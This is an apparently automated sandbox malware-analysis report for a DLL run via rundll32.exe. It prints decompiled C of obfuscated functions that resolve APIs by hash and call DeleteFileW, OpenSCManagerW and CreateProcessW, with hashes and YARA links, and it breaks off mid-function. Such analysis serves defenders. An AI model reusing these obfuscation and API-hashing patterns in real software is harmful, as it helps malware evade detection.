									goto L25;
								}
							} else {
								E6EFC04CA(__eflags,  *0x6efe619c, _t20);
								_push(_t60);
								L25:
								E6EFBFEFF();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E6EFC048B(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x6efe619c; // 0x6
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E6EFBFE28(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x6efe619c; // 0x6
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E6EFC04CA(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E6EFC01B7(_t43, 1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t54);
											if(__eflags != 0) {
												E6EFC0E38(_t61, _t54, 0x6effe640);
												E6EFBFEFF(0);
												goto L45;
											} else {
												_t40 = 0;
												E6EFC04CA(__eflags,  *0x6efe619c, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E6EFC04CA(0,  *0x6efe619c, 0);
											_push(0);
											L41:
											E6EFBFEFF();
											goto L36;
										}
									}
								} else {
									_t54 = E6EFC048B(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x6efe619c; // 0x6
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

APIs

GetLastError.KERNEL32(?,?,?,6EFC3575,00000000,00000001,6EFC084A,?,6EFC3A32,00000001,?,?,?,6EFC07E3,?,00000000), ref: 6EFC103F
_free.LIBCMT ref: 6EFC109C
_free.LIBCMT ref: 6EFC10D2
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EFC3A32,00000001,?,?,?,6EFC07E3,?,00000000,00000000,6EFE5098,0000002C,6EFC084A), ref: 6EFC10DD

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 44a99cf363fba189ba9103150d4b69ed44f6e20865ea5dcbb4d1679c54381faa
Instruction ID: 19a29c31dd354d992b1f8b2d98c5a5e218cf7fc813ea192600fdfcd5268f815f
Opcode Fuzzy Hash: 44a99cf363fba189ba9103150d4b69ed44f6e20865ea5dcbb4d1679c54381faa
Instruction Fuzzy Hash: 4D113D732A46477BD74126F54CB0E57313D9BC2F7CB314626F728C6191EF629C198212

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC1191, Relevance: 6.1, APIs: 4, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EFC1191(void* __ecx) {
				void* __esi;
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				void* _t14;
				signed int _t18;
				long _t21;

				_t14 = __ecx;
				_t21 = GetLastError();
				_t2 =  *0x6efe619c; // 0x6
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EFC04CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E6EFC01B7(_t14, 1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E6EFC04CA(__eflags,  *0x6efe619c, _t18);
							if(__eflags != 0) {
								E6EFC0E38(_t21, _t18, 0x6effe640);
								E6EFBFEFF(0);
								goto L13;
							} else {
								_t13 = 0;
								E6EFC04CA(__eflags,  *0x6efe619c, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E6EFC04CA(0,  *0x6efe619c, 0);
							_push(0);
							L9:
							E6EFBFEFF();
							goto L4;
						}
					}
				} else {
					_t18 = E6EFC048B(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x6efe619c; // 0x6
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

APIs

GetLastError.KERNEL32(-00000017,6EFFE844,00000000,6EFC01A9,6EFBFEF4,6EFFE824,?,6EFBC421,0000BC00,6EFFE844,00000000), ref: 6EFC1196
_free.LIBCMT ref: 6EFC11F3
_free.LIBCMT ref: 6EFC1229
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EFBC421,0000BC00,6EFFE844,00000000), ref: 6EFC1234

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 87f0d84618d35cc69577d24543ea27c4d22ef3c061e3d574f414c6edc13c934a
Instruction ID: a22b6a3ecb43f7d220147138805d586708f9f6bbdd785298ff6b9c0874e7d6ea
Opcode Fuzzy Hash: 87f0d84618d35cc69577d24543ea27c4d22ef3c061e3d574f414c6edc13c934a
Instruction Fuzzy Hash: 62110AB62245073BD64116F94CB0E97317E9BC2F7C7314625F22CC61D0EF659C164212

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC5292, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFC5292(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6efe68f0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6EFC527B();
					E6EFC523D();
					_t13 = WriteConsoleW( *0x6efe68f0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6efc52af
0x6efc52b3
0x6efc52c0
0x6efc52c5
0x6efc52e0
0x6efc52e0
0x6efc52e6

APIs

WriteConsoleW.KERNEL32(?,?,6EFC084A,00000000,?,?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001), ref: 6EFC52A9
GetLastError.KERNEL32(?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001,00000000,00000001,?,6EFC3A56,6EFC07E3), ref: 6EFC52B5

Part of subcall function 6EFC527B: CloseHandle.KERNEL32(FFFFFFFE,6EFC52C5,?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001,00000000,00000001), ref: 6EFC528B

___initconout.LIBCMT ref: 6EFC52C5

Part of subcall function 6EFC523D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EFC526C,6EFC4E04,00000001,?,6EFC3502,00000000,00000000,00000001,00000000), ref: 6EFC5250

WriteConsoleW.KERNEL32(?,?,6EFC084A,00000000,?,6EFC4E17,?,00000001,?,00000001,?,6EFC3502,00000000,00000000,00000001,00000000), ref: 6EFC52DA

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0936a9d09ad67f1834649e1c13d4f67d7a10b33a18dd4c0fcd386c61caa00986
Instruction ID: 34d0454e943217ac8a5bc044e329662356b855be7ae1b5dcf5d2f56c6b8ef10c
Opcode Fuzzy Hash: 0936a9d09ad67f1834649e1c13d4f67d7a10b33a18dd4c0fcd386c61caa00986
Instruction Fuzzy Hash: AAF03737060559BBCF121FD1CC18BCB3F69FF46BA1F254424FA1986110D73199209BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBF52B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EFBF52B(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				void* _t59;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						_push(_t59);
						E6EFC23D2(_t48, _t59);
						E6EFC1E1F(_t57, 0, 0x6effe218, 0x104);
						_t26 =  *0x6effe7c0; // 0x2a63560
						 *0x6effe7b0 = 0x6effe218;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x6effe218;
							_v20 = 0x6effe218;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E6EFBF7DC(E6EFBF663( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E6EFBF663( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E6EFC1D12(_t48, 0, _t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x6effe7b4 = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x6effe7b8 = _t58;
											L18:
											E6EFBFEFF(_t37);
											_v12 = 0;
											L19:
											E6EFBFEFF(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x6effe7b4 = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x6effe7b8 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E6EFC01A4(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E6EFC01A4(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E6EFC00E7();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EFBF56E, 6EFBF575, 6EFBF5AB

Memory Dump Source

Source File: 00000005.00000002.259089801.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000005.00000002.259073706.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259083848.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000005.00000002.259126018.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.259158194.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259166503.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.259227253.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.259240807.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: fc801d3ace62b9494cfe8948a592761de062c59c23cf4af636491520de6c22d9
Instruction ID: 1382a202e49e778974af0ec710fd19d2b8f33e6ffec6538999d28c4ffa6b09b2
Opcode Fuzzy Hash: fc801d3ace62b9494cfe8948a592761de062c59c23cf4af636491520de6c22d9
Instruction Fuzzy Hash: 02419FB6E04219AFDB91DFDADCA099FBBBDEB85714B300067E814D7250E7718A41C750

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 2848 Parent PID: 4544 rundll32.exeCOMMON

Executed Functions

Function 1001F790, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E1001F790(void* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t39;
				int _t48;
				signed int _t50;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t39);
				_v20 = 0x305f8e;
				_v20 = _v20 << 0x10;
				_v20 = _v20 ^ 0x5f829bc1;
				_v12 = 0x22b27e;
				_v12 = _v12 >> 6;
				_v12 = _v12 + 0x22ee;
				_v12 = _v12 ^ 0x000c4601;
				_v8 = 0xcd41e2;
				_v8 = _v8 + 0xd868;
				_v8 = _v8 + 0xd31f;
				_t50 = 0x5f;
				_v8 = _v8 / _t50;
				_v8 = _v8 ^ 0x000a754c;
				_v16 = 0x592d24;
				_v16 = _v16 | 0x8ee4cdff;
				_v16 = _v16 ^ 0x8efaae11;
				E10002309(_t50 + 0x2c, _t50, _t50, 0x7c50bf37, _t50, 0x9c9047d0);
				_t48 = DeleteFileW(_a8); // executed
				return _t48;
			}

0x1001f796
0x1001f799
0x1001f79c
0x1001f7a1
0x1001f7a6
0x1001f7b0
0x1001f7b6
0x1001f7bd
0x1001f7c4
0x1001f7c8
0x1001f7cf
0x1001f7d6
0x1001f7dd
0x1001f7e4
0x1001f7f0
0x1001f7f8
0x1001f7fb
0x1001f802
0x1001f809
0x1001f810
0x1001f82e
0x1001f839
0x1001f83e

APIs

DeleteFileW.KERNEL32(8EFAAE11), ref: 1001F839

Strings

$-Y, xrefs: 1001F802
Lu, xrefs: 1001F81A
Lu, xrefs: 1001F7EB
", xrefs: 1001F7C8

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: DeleteFile
String ID: $-Y$Lu$Lu$"
API String ID: 4033686569-1114282491
Opcode ID: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction ID: 543db5e143fc82e0febe4e5b84228ca4fb2f9e33671b133290cd188315d44989
Opcode Fuzzy Hash: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction Fuzzy Hash: 7911F5B6C00208FBDF09DFE4CC4A9AEBBB5FB54318F108588E915AA251D3B59B649F50

Uniqueness

Uniqueness Score: -1.00%

Function 1001B0E5, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001B0E5(void* __ecx, void* __edx, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;

				E10022523(_t43);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x970fc6;
				_v28 = 0xf733cf;
				_v12 = 0x7d503f;
				_v12 = _v12 | 0x482efb7d;
				_v12 = _v12 + 0xffffad5b;
				_v12 = _v12 ^ 0x48710332;
				_v20 = 0x599c2f;
				_t54 = 0x26;
				_v20 = _v20 / _t54;
				_v20 = _v20 ^ 0x00074c3c;
				_v8 = 0x25764d;
				_v8 = _v8 + 0xffffd21e;
				_v8 = _v8 + 0x28dd;
				_v8 = _v8 ^ 0x00291a50;
				_v16 = 0x4f32db;
				_v16 = _v16 | 0x18cb750c;
				_v16 = _v16 ^ 0x18cb774b;
				_t51 = E10002309(0x234, _t54, _t54, 0x491df8aa, _t54, 0x9c9047d0);
				_t52 =  *_t51(_a16, 0, _a24, 0x28, __ecx, __edx, 0x28, _a8, 0, _a16, _a20, _a24); // executed
				return _t52;
			}

0x1001b0fd
0x1001b102
0x1001b109
0x1001b112
0x1001b119
0x1001b120
0x1001b127
0x1001b12e
0x1001b135
0x1001b141
0x1001b149
0x1001b14c
0x1001b153
0x1001b15a
0x1001b161
0x1001b168
0x1001b16f
0x1001b176
0x1001b17d
0x1001b19d
0x1001b1af
0x1001b1b4

APIs

SetFileInformationByHandle.KERNEL32(00000000,00000000,00970FC6,00000028), ref: 1001B1AF

Strings

?P}, xrefs: 1001B119
Mv%, xrefs: 1001B153

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileHandleInformation
String ID: ?P}$Mv%
API String ID: 3935143524-2885159553
Opcode ID: 1ff294a8cd7c50f0204e083802874af947afed1ebbf66a27c509e70a6e85c5c2
Instruction ID: c6294db63f7ee4bb071aec84c080713cd91fe9e816122fc1ccfe0a57a864389e
Opcode Fuzzy Hash: 1ff294a8cd7c50f0204e083802874af947afed1ebbf66a27c509e70a6e85c5c2
Instruction Fuzzy Hash: A02164B2D0120DFFDF54CF98CD4AAAEBBB1FB04305F008188E915A6290E3B55B248F90

Uniqueness

Uniqueness Score: -1.00%

Function 1001FE9D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E1001FE9D(void* __edx, intOrPtr _a4, intOrPtr _a8, int _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t34;
				void* _t41;
				void* _t43;

				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t34);
				_v32 = 0xfebeef;
				_v28 = 0x6b4d4f;
				_v24 = 0;
				_v20 = 0x72d4d3;
				_v20 = _v20 + 0x7ce2;
				_v20 = _v20 ^ 0x0072d8bc;
				_v16 = 0x618a6;
				_v16 = _v16 + 0x2ac;
				_v16 = _v16 ^ 0x00083b16;
				_v12 = 0x17740f;
				_v12 = _v12 + 0x9d82;
				_v12 = _v12 ^ 0x0012bdfc;
				_v8 = 0xba692b;
				_v8 = _v8 ^ 0x31422697;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 ^ 0x0005552e;
				_push(0x21ce39be);
				_push(0xb53dc03);
				_push(_t42);
				_push(_t42);
				_t43 = 0x15;
				E10002309(_t43);
				_t41 = OpenSCManagerW(0, 0, _a16); // executed
				return _t41;
			}

0x1001fea4
0x1001fea9
0x1001feaa
0x1001fead
0x1001feb1
0x1001feb2
0x1001feb7
0x1001fec1
0x1001fec8
0x1001fecb
0x1001fed2
0x1001fed9
0x1001fee0
0x1001fee7
0x1001feee
0x1001fef5
0x1001fefc
0x1001ff03
0x1001ff0a
0x1001ff11
0x1001ff18
0x1001ff1c
0x1001ff2f
0x1001ff35
0x1001ff3a
0x1001ff3b
0x1001ff3e
0x1001ff3f
0x1001ff4c
0x1001ff52

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 1001FF4C

Strings

|, xrefs: 1001FED2
OMk, xrefs: 1001FEC1

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ManagerOpen
String ID: OMk$|
API String ID: 1889721586-2935449709
Opcode ID: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction ID: 1d80d5bf462f7d76a803e315767f53b854081a7213ef634c08bc69ad92fa0287
Opcode Fuzzy Hash: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction Fuzzy Hash: 6D1113B2C0022CBBEB11DFA5D94A8EFBFB4EF44318F108188E91466201D3B95B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 100142E4, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E100142E4(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				long _v24;
				long _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t43;
				char _t54;
				signed int _t57;
				void* _t62;
				void* _t63;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_t63 = __ecx;
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v36 = 0xead706;
				_v32 = 0x8aaadf;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x3b6f9b;
				_t57 = 0x3f;
				_v12 = _v12 * 0xe;
				_v12 = _v12 << 0x10;
				_v12 = _v12 ^ 0x1a7fe3f0;
				_v20 = 0x6318b1;
				_v20 = _v20 | 0x2b2fc1f2;
				_v20 = _v20 ^ 0x2b6f417a;
				_v8 = 0xeb56a2;
				_v8 = _v8 << 1;
				_v8 = _v8 / _t57;
				_v8 = _v8 * 0x2f;
				_v8 = _v8 ^ 0x015d5ff9;
				_v16 = 0x2619ef;
				_v16 = _v16 << 6;
				_v16 = _v16 ^ 0x098e35d6;
				E10002309(_t57 + 0x4d, _t57, _t57, 0x52f9059f, _t57, 0x9c9047d0);
				_t54 = RtlFreeHeap(_t62, 0, _t63); // executed
				return _t54;
			}

0x100142ed
0x100142f2
0x100142f4
0x100142f7
0x100142f9
0x100142fa
0x100142fd
0x10014300
0x10014301
0x10014302
0x10014307
0x10014311
0x1001431a
0x1001431d
0x10014320
0x1001432d
0x10014334
0x10014337
0x1001433b
0x10014342
0x10014349
0x10014350
0x10014357
0x1001435e
0x1001436b
0x10014377
0x1001437a
0x10014381
0x10014388
0x1001438c
0x1001439f
0x100143aa
0x100143b2

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,072B1AC5,00000000,00000000), ref: 100143AA

Strings

zAo+, xrefs: 10014350

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID: zAo+
API String ID: 3298025750-440923707
Opcode ID: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction ID: 613f1e34ca62f437a9a883da1f6942e021cbcbe0c1bd7b5908013fed4c35e44f
Opcode Fuzzy Hash: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction Fuzzy Hash: 4D2128B1D00218FF9B08CF99D98A8EEBFB9FB44344F508199E515A7240D3B05B149B90

Uniqueness

Uniqueness Score: -1.00%

Function 100231D2, Relevance: 1.6, APIs: 1, Instructions: 77
processCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E100231D2(void* __ecx, WCHAR* __edx, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16, struct _STARTUPINFOW* _a28, intOrPtr _a32, intOrPtr _a36, struct _PROCESS_INFORMATION* _a48, int _a52, intOrPtr _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t71;

				_push(_a56);
				_t71 = __edx;
				_push(_a52);
				_push(_a48);
				_push(0);
				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(0);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(__edx);
				E10022523(_t54);
				_v28 = 0x2cec17;
				_v24 = 0;
				_v16 = 0x5aadab;
				_v16 = _v16 << 3;
				_v16 = _v16 >> 0xc;
				_v16 = _v16 ^ 0x000031a8;
				_v12 = 0x82119f;
				_v12 = _v12 >> 2;
				_v12 = _v12 + 0xffff09c3;
				_t65 = 0x25;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x0004d7f2;
				_v8 = 0x7cd8a6;
				_v8 = _v8 >> 6;
				_v8 = _v8 | 0x702a8e48;
				_v8 = _v8 + 0xffff37f0;
				_v8 = _v8 ^ 0x702d019b;
				_v20 = 0x367fb2;
				_v20 = _v20 + 0xffff7ba2;
				_v20 = _v20 ^ 0x003ae9c9;
				E10002309(0x2e4, _t65, _t65, 0xbf8568a3, _t65, 0x9c9047d0);
				_t63 = CreateProcessW(_t71, _a16, 0, 0, _a52, 0, 0, 0, _a28, _a48); // executed
				return _t63;
			}

APIs

CreateProcessW.KERNEL32(000C0354,?,00000000,00000000,?,00000000,00000000,00000000,229292B4,?), ref: 100232BB

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction ID: db286c9e9bcad3bd2e87b522c53d89c9dfc5ed19f2ace101bae5327955dfaec9
Opcode Fuzzy Hash: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction Fuzzy Hash: 21311476801248BBCF65DF96CD49CDFBFB5FB89704F108188F914A6220D3B58A60DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001199D, Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001199D(void* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28, long _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t55;
				void* _t68;
				signed int _t69;
				signed int _t70;

				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t55);
				_v12 = 0xd4f63c;
				_v12 = _v12 >> 7;
				_v12 = _v12 << 0xf;
				_v12 = _v12 + 0xffffff46;
				_v12 = _v12 ^ 0xd4fb5fe8;
				_v8 = 0x967d18;
				_v8 = _v8 + 0xffffef98;
				_t69 = 0x14;
				_v8 = _v8 / _t69;
				_t70 = 0x4a;
				_v8 = _v8 / _t70;
				_v8 = _v8 ^ 0x000a0722;
				_v20 = 0x4653bc;
				_v20 = _v20 * 0x70;
				_v20 = _v20 ^ 0x1ec2604c;
				_v16 = 0x7577a9;
				_v16 = _v16 * 0x3c;
				_v16 = _v16 ^ 0x1b87e59a;
